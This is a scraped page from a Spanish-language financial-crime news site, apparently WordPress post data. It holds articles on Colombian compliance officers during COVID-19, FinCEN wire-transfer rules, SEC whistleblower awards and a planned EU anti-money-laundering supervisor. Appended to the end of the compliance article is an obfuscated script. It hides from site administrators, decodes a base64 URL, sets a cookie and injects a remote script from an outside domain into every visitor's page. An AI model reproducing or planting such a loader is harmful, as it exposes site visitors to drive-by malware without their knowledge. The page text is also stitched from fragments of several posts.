aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las 